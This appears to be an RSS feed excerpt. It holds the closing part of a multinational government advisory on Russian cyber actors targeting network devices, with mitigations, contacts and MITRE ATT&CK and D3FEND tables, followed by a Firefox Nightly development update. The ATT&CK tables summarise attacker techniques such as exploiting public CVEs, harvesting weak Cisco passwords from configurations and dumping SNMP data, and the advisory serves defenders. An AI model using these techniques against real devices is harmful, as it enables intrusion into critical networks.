<li>UDP ports 161 and 162 (SNMP)</li>
<li>TCP/UDP ports 10161 and 10162 (SNMPv3)</li>
</ul>
</li>
</ul>
</li>
<li>Update network device software and firmware images, especially to patch known vulnerabilities, and upgrade end-of-life devices to supported ones. <br>
<ul type="square">
<li>Use an attack surface management service to identify and secure Internet-facing systems with weak configurations and known vulnerabilities [<a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a>].
<ul>
<li>U.S.-based federal, state, local, tribal, and territorial governments and U.S. critical infrastructure organiztions should consider signing up for CISA’s no-cost <a href="https://www.cisa.gov/cyber-hygiene-services">Cyber Hygiene services</a>.</li>
<li>U.S. Defense Industrial Base organizations should consider signing up for <a href="https://www.nsa.gov/About/Cybersecurity-Collaboration-Center/DIB-Cybersecurity-Services/" target="_blank">NSA’s DIB Cybersecurity Services</a>.</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<p><strong>United States:</strong></p>
<ul type="disc">
<li><a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia">Russia Threat Overview and Advisories</a></li>
<li><a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">Network Infrastructure Security Guide</a></li>
</ul>
<p><strong>Canada:</strong></p>
<ul type="disc">
<li><a href="https://www.cyber.gc.ca/en/guidance/routers-cyber-security-best-practices-itsap80019" target="_blank">Routers cyber security best practices (ITSAP.80.019)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/security-considerations-edge-devices-itsm80101" target="_blank">Security considerations for edge devices (ITSM.80.101)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/guidance-securely-configuring-network-protocols-itsp40062" target="_blank">Guidance on securely configuring network protocols (ITSP.40.062)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/baseline-security-requirements-network-security-zones-version-20-itsp80022" target="_blank">Baseline security requirements for network security zones (ITSP.80.022)</a></li>
<li><a href="https://www.cyber.gc.ca/en/guidance/top-10-it-security-actions-protect-internet-connected-networks-and-information-itsm10089" target="_blank">Top 10 IT security actions to protect Internet-connected networks and information (ITSM.10.089)</a></li>
</ul>
<h2><strong>Works cited</strong></h2>
<p>[<a class="ck-anchor">1</a>] FBI. Russian Government Cyber Actors Targeting Networking Devices, Critical Infrastructure. Alert Number: I-082025-PSA. 2025. <a href="https://www.ic3.gov/PSA/2025/PSA250820" target="_blank">https://www.ic3.gov/PSA/2025/PSA250820</a></p>
<p>[<a class="ck-anchor">2</a>] NSA. Cisco Smart Install Protocol Misuse. 2017. <a href="https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF" target="_blank">https://media.defense.gov/2019/Jul/16/2002157833/-1/-1/0/CSA-CISCO-SMART-INSTALL-PROTOCOL-MISUSE.PDF</a></p>
<p>[<a class="ck-anchor">3</a>] NSA. Network Infrastructure Security Guide. 2023. <a href="https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF" target="_blank">https://media.defense.gov/2022/Jun/15/2003018261/-1/-1/0/CTR_NSA_NETWORK_INFRASTRUCTURE_SECURITY_GUIDE_20220615.PDF</a></p>
<p>[<a class="ck-anchor">4</a>] NSA. Cybersecurity Information Sheet Cisco Password Types: Best Practices. 2022. <a href="https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF" target="_blank">https://media.defense.gov/2022/Feb/17/2002940795/-1/-1/0/CSI_CISCO_PASSWORD_TYPES_BEST_PRACTICES_20220217.PDF</a></p>
<p>[<a class="ck-anchor">5</a>] NSA. Cybersecurity Information Sheet: Reducing the Risk of Simple Network Management Protocol (SNMP) Abuse. 2026. <a href="https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF" target="_blank">https://media.defense.gov/2026/Jul/09/2003959459/-1/-1/0/CSI_REDUCING_RISK_OF_SNMP_ABUSE.PDF</a></p>
<h2><strong>Footnotes</strong></h2>
<p><a class="ck-anchor"><sup>1</sup></a><sup>  </sup>Národní úřad pro kybernetickou a informační bezpečnost</p>
<p><a class="ck-anchor"><sup>2 </sup></a> Forsvarets Efterretningstjeneste</p>
<p><a class="ck-anchor"><sup>3</sup></a> Välisluureamet</p>
<p><a class="ck-anchor"><sup>4</sup></a> Riigi Infosüsteem Amet</p>
<p><a class="ck-anchor"><sup>5</sup></a> Sotilastiedustelu</p>
<p><a class="ck-anchor"><sup>6</sup></a> Suojelupoliisi</p>
<p><a class="ck-anchor"><sup>7</sup></a> Agence nationale de la sécurité des systèmes d’information</p>
<p><a class="ck-anchor"><sup>8</sup></a> Agenzia Informazioni e Sicurezza Esterna</p>
<p><a class="ck-anchor"><sup>9</sup></a> Agenzia Informazioni e Sicurezza Interna</p>
<p><a class="ck-anchor"><sup>10</sup></a> Służba Kontrwywiadu Wojskowego</p>
<p><a class="ck-anchor"><sup>11</sup></a> Nationellt Cybersäkerhetscenter</p>
<p><a class="ck-anchor"><sup>12</sup></a><sup> </sup>MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE DEFEND is a trademark of the MITRE Corporation.</p>
<p><a class="ck-anchor"><sup>13</sup></a> <a href="https://www.cve.org/CVERecord?id=CVE-2008-4128" target="_blank">CVE-2008-4128</a> only affects end-of-life Cisco devices.</p>
<h2><strong>Disclaimer of Endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<p><strong>United States organizations</strong></p>
<ul>
<li><strong>National Security Agency (NSA)</strong>
<ul>
<li>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a> </li>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov">DIB_Defense@cyber.nsa.gov</a> </li>
<li>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov">MediaRelations@nsa.gov</a></li>
</ul>
</li>
<li><strong>Cybersecurity and Infrastructure Security Agency (CISA)</strong> and<strong> Federal Bureau of Investigation (FBI)</strong>
<ul>
<li> U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA via the agency’s <a href="https://myservices.cisa.gov/irf" title="Incident Reporting System">Incident Reporting System</a>, its 24/7 Operations Center (<a href="mailto:report@cisa.gov">report@cisa.gov</a> or 888-282-0870), or your <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank">local FBI field office</a>. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment user for the activity; the name of the submitting company or organization; and a designated point of contact. </li>
</ul>
</li>
<li><strong>United States Department of Defense Cyber Crime Center (DC3)  </strong>
<ul>
<li>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil">DC3.DCISE@us.af.mil</a> </li>
<li>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank" title="https://dibnet.dod.mil/">https://dibnet.dod.mil</a>.</li>
<li> Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil">DC3.Information@us.af.mil</a></li>
</ul>
</li>
</ul>
<p><strong>Australian organizations</strong></p>
<ul>
<li><strong>Australian Signals Directorate</strong>
<ul>
<li>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank">cyber.gov.au</a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.</li>
</ul>
</li>
</ul>
<p><strong>Canadian organizations</strong></p>
<ul type="disc">
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices. 
<ul>
<li>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca">contact@cyber.gc.ca</a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank">Report a cyber incident - Canadian Centre for Cyber Security</a> or by phone at 1-833-CYBER-88 (1-833-292-3788).</li>
</ul>
</li>
</ul>
<p><strong>New Zealand organizations</strong></p>
<ul type="disc">
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz">info@ncsc.govt.nz</a></li>
</ul>
<p><strong>United Kingdom organizations</strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank">ncsc.gov.uk/report-an-incident</a> (monitored 24/7)</li>
</ul>
<p><strong>Estonia organizations</strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee">info@valisluureamet.ee</a></li>
</ul>
<p><strong>Finnish organizations</strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank">supo.fi/en/contact</a></li>
</ul>
<p><strong>French organizations</strong></p>
<ul type="disc">
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr">cert-fr@ssi.gouv.fr</a> or by phone at: 3218 or +33 9 70 83 32 18.</li>
</ul>
<p><strong>Italian Organizations</strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
<li>Italian Internal Intelligence and Security Agency (AISI): 
<ul>
<li>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank">https://www.sicurezzanazionale.gov.it/</a> </li>
</ul>
</li>
</ul>
<h2><a class="ck-anchor"><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1"><strong>Table 1</strong></a> through <a href="https://www.cisa.gov/#Table10"><strong>Table 10</strong></a> for all the threat actor tactics and techniques referenced in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 1: Reconnaissance</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Active Scanning: Scanning IP Blocks</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/001/" target="_blank">T1595.001</a></td>
<td>Scan range of IP addresses</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1595/002/" target="_blank">T1595.002</a></td>
<td>Scan victims for vulnerabilities that can be used during targeting</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 2: Resource Development</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Servers </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a> </td>
<td>Leverage VPS as infrastructure </td>
</tr>
<tr>
<td>Compromise Infrastructure: Network Devices </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1584/008/" target="_blank">T1584.008</a> </td>
<td>Compromise intermediate routers </td>
</tr>
<tr>
<td>Obtain Capabilities: Exploits </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1588/005/" target="_blank">T1588.005</a> </td>
<td>Use publicly available code to exploit vulnerable devices </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 3: Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploit Public-Facing Application </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1190/" target="_blank">T1190</a> </td>
<td>Exploit publicly known CVEs </td>
</tr>
<tr>
<td>Proxy</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a></td>
<td>Use a connection proxy to direct network traffic </td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4: Execution</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Services</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1569/" target="_blank">T1569</a></td>
<td>Executing commands via SNMP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5: Privilege Escalation</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exploitation for Privilege Escalation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1068/" target="_blank">T1068</a></td>
<td>Exploit publicly known CVEs for escalated privileges</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 6: Stealth</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Obfuscated Files or Information</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1027/" target="_blank">T1027</a></td>
<td>Obfuscate source IP addresses in system logs, as actions may be recorded as originating from local IP addresses</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 7: Credential Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>OS Credential Dumping</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1003/" target="_blank">T1003</a></td>
<td>Collect router configuration with weak Cisco Type 7 passwords and Type 0</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 8: Collection</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data from Configuration Repository: SNMP (MIB Dump) </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/001/" target="_blank">T1602.001</a> </td>
<td>Target MIB to collect network information via SNMP </td>
</tr>
<tr>
<td>Data from Configuration Repository: Network Device Configuration Dump</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1602/002/" target="_blank">T1602.002</a></td>
<td>Acquire credentials by collecting network device configurations</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 9: Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Proxy </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1090/" target="_blank">T1090</a> </td>
<td>Use VPS for C2 </td>
</tr>
<tr>
<td>Application Layer Protocol </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1071/" target="_blank">T1071</a> </td>
<td>Open and expose a variety of different services, including TFTP and FTP</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 10: Exfiltration</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Technique Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Use</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over Alternative Protocol</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank">T1048</a></td>
<td>Exfiltrating over a different protocol than that of the existing command and control channel. </td>
</tr>
</tbody>
</table>
<h2><strong>Appendix B: MITRE D3FEND countermeasures</strong></h2>
<p>See <a href="https://www.cisa.gov/#Table11"><strong>Table 11</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 11: MITRE D3FEND Countermeasures</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<p class="text-align-center"><a class="ck-anchor"></a><strong>Countermeasure Title</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>ID</strong></p>
</th>
<th role="columnheader">
<p class="text-align-center"><strong>Description</strong></p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Configuration Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening" target="_blank">D3-ACH</a></td>
<td>
<ul type="disc">
<li>Use SNMPv3 and disable SNMPv1 and SNMPv2. </li>
<li>Use SNMP allowlisting to restrict access to OIDs and MIBs. </li>
<li>Disable Cisco Smart Install.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Authentication</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAuthentication" target="_blank">D3-MAN</a></td>
<td>
<ul>
<li>Use SNMPv3 with strong authentication.</li>
</ul>
</td>
</tr>
<tr>
<td>Message Encryption</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageEncryption" target="_blank">D3-MENCR</a></td>
<td>
<ul>
<li>Use SNMPv3 to encrypt payloads.</li>
</ul>
</td>
</tr>
<tr>
<td>Credential Hardening</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a></td>
<td>
<ul>
<li>Use strong, unique passwords and store them securely.</li>
</ul>
</td>
</tr>
<tr>
<td>Platform Monitoring</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:PlatformMonitoring" target="_blank">D3-PM</a></td>
<td>
<ul type="disc">
<li>Monitor for unusual credentials. </li>
<li>Monitor SNMP Set-Requests for OIDs targeting sensitive device data.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Traffic Filtering</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficFiltering" target="_blank">D3-NTF</a></td>
<td>
<ul type="disc">
<li>Use ACLs to only allow management protocols from management devices. </li>
<li>Block TFTP, SMI, and SNMP at edge firewalls.</li>
</ul>
</td>
</tr>
<tr>
<td>Network Vulnerability Assessment</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:NetworkVulnerabilityAssessment" target="_blank">D3-NVA</a></td>
<td>
<ul>
<li>Use an attack surface management service.</li>
</ul>
</td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Nightly: Eyedropper Quick Action, geckodriver 0.37, and Tighter File Permissions – These Weeks in Firefox: Issue 205]]></title>
<description><![CDATA[Highlights

Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (Bug 1803575) on Nightly.



Henrik Skupin released geckodriver 0.37.0, which includes support for several new APIs and various bug fixes. See the release page for details.
Starting ...]]></description>
<link>https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693292/tools/firefox-nightly-eyedropper-quick-action-geckodriver-037-and-tighter-file-permissions-these-weeks-in-firefox-issue-205/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:28 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Highlights</h3>
<ul>
<li>Dao added a new Eyedropper quick action! Check it out by typing “color” or “eyedropper” in the URL bar (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1803575">Bug 1803575</a>) on Nightly.</li>
</ul>
<p><img alt='Firefox URL bar dropdown with "col" typed in, showing an eyedropper button labeled "Pick a color" below search suggestions.' class="aligncenter size-full wp-image-2084" height="358" src="https://blog.nightly.mozilla.org/files/2026/06/image1-3.png" width="724"></p>
<ul>
<li>Henrik Skupin <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938333">released geckodriver 0.37.0</a>, which includes support for several new APIs and various bug fixes. See the <a href="https://github.com/mozilla/geckodriver/releases/tag/v0.37.0">release page for details</a>.</li>
<li>Starting from Firefox 153, access to local file: URLs is being restricted by default.
<ul>
<li>Extensions now require an explicit “Access local files on your computer” permission, separate from broad host permissions, that users must grant.</li>
<li>Extensions can call the extension.isAllowedFileSchemeAccess() API to determine whether they have been granted access to file: URLs (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2034168">Bug 2034168</a>).</li>
</ul>
</li>
</ul>
<h3>Friends of the Firefox team</h3>
<h4><a href="https://bugzilla.mozilla.org/buglist.cgi?title=Resolved%20bugs%20(excluding%20employees)&amp;quicksearch=1941404%2C2039281%2C2024187%2C1674047%2C1986161%2C2043187%2C2019260%2C2027580%2C2027582%2C2041640%2C2039294%2C2042309%2C1830551%2C2031735%2C2043952%2C1972065%2C2043958%2C2042419%2C2042820%2C2022661%2C1994826%2C2041802%2C1315558%2C1930776%2C2042921%2C2043938">Resolved bugs (excluding employees)</a></h4>
<p><a href="https://github.com/niklasbaumgardner/NewContributorScraper">Script to find new contributors from bug list</a></p>
<h4>Volunteers that fixed more than one bug</h4>
<ul>
<li>:Vincent</li>
<li>Chris Vander Linden</li>
<li>DrSeed</li>
<li>Khalid AlHaddad</li>
<li>Sam Johnson</li>
</ul>
<h4>New contributors (🌟 = first patch)</h4>
<ul>
<li>Francis :mckenfra: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1315558">tld service for webextensions</a></li>
<li>any1here: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042309">about:preferences#privacy is broken with MOZ_DATA_REPORTING false</a></li>
<li>pullmana8: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">Fix protocol/Actor.js to throw an Error instead of an Actor</a></li>
<li>RAN1: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1830551">Firefox Crashes on Quit When Running Two Browsers With Separate Profiles</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Accessibility</h4>
<ul>
<li>Morgan added a new accessibility-specific, front-end review skill to mozilla central! 🎉 You can read about it, and learn how to use it <a href="https://firefox-source-docs.mozilla.org/bug-mgmt/processes/accessibility-review.html#automated-accessibility-review-skill">in the accessibility review source docs</a>.</li>
</ul>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>Migrated addon-page-header and addon-card action buttons to the reusable moz-button web component as part of the ongoing Nova restyling of about:addons –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042200"> Bug 2042200</a> /<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042204"> Bug 2042204</a></li>
<li>Extended moz-page-nav-button with a forwarded title property to fix an accessibility issue where the component lacked a label in collapsed state; Landed in Firefox 153, and uplifted to Firefox 152 for about:settings which was already riding the 152 release train –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040971"> Bug 2040971</a></li>
<li>Fixed a shutdown-timing bug where a pending GMP update-check timer could fire after XPCOMShutdownThreads started, causing a pref write assertion; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2043803"> Bug 2043803</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Fixed MV2 content scripts incorrectly injecting into guarded hosts because MozDocumentMatcher::MatchesURI was not consulting CheckGuarded when mCheckPermissions was false; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041393"> Bug 2041393</a></li>
<li>Added support for accessing ObservableArray attributes (such as adoptedStyleSheets) from XrayWrappers and extension content scripts, unblocking extensions that rely on this Web API; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1751346"> Bug 1751346</a></li>
<li>Wired runtime_blocked_hosts and runtime_allowed_hosts enterprise policy settings through ExtensionSettings to allow administrators to restrict extension host permissions on managed devices, starting in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1805205"> Bug 1805205</a>
<ul>
<li>Thanks to Mike Kaply for implementing this enterprise policy enhancement.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed promiseTabWhenReady blocking indefinitely on discarded tabs, preventing cleanup of associated resources and potentially causing memory leaks; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1653876"> Bug 1653876</a></li>
<li>Fixed webNavigation.onCommitted being dispatched twice for cross-origin iframes loaded under Fission, caused by a redundant OnStateChange trigger firing in addition to OnLocationChange; Fixed in Firefox 153 –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1750196"> Bug 1750196</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=766005">Chris Vander Linden</a> made the Search input component shared as we plan to use it in the Netmonitor as well (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019260">#2019260</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027580">#2027580</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2027582">#2027582</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=631103">pullmana8</a> improved error management in the DevTools protocol (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031735">#2031735</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=553004">Chris H-C :chutten</a> removed Legacy Telemetry devtools instrumentation (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039650">#2039650</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=13647">:glob ✱</a> fixed an issue in the Inspector where the swatch color for variable in @starting-style rule could have the wrong color (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2016778">#2016778</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=557153">Nicolas Chevobbe [:nchevobbe]</a> exposed heading level more clearly in the accessibility tree (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1588784">#1588784</a>) and in the accessibility highlighter (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044904">#2044904</a>)</li>
</ul>
<p><img alt='Accessibility panel in Firefox DevTools showing a selected "heading (level 3)" node named "Backwards compatibility."' class="aligncenter size-full wp-image-2083" height="375" src="https://blog.nightly.mozilla.org/files/2026/06/image2-3.png" width="727"></p>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=559949">Julian Descottes [:jdescottes]</a> migrated the markup view to HTML (from XHTML) to fix an issue when editing the markup (CodeMirror 6 does not support XHTML) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2028058">#2028058</a>)</li>
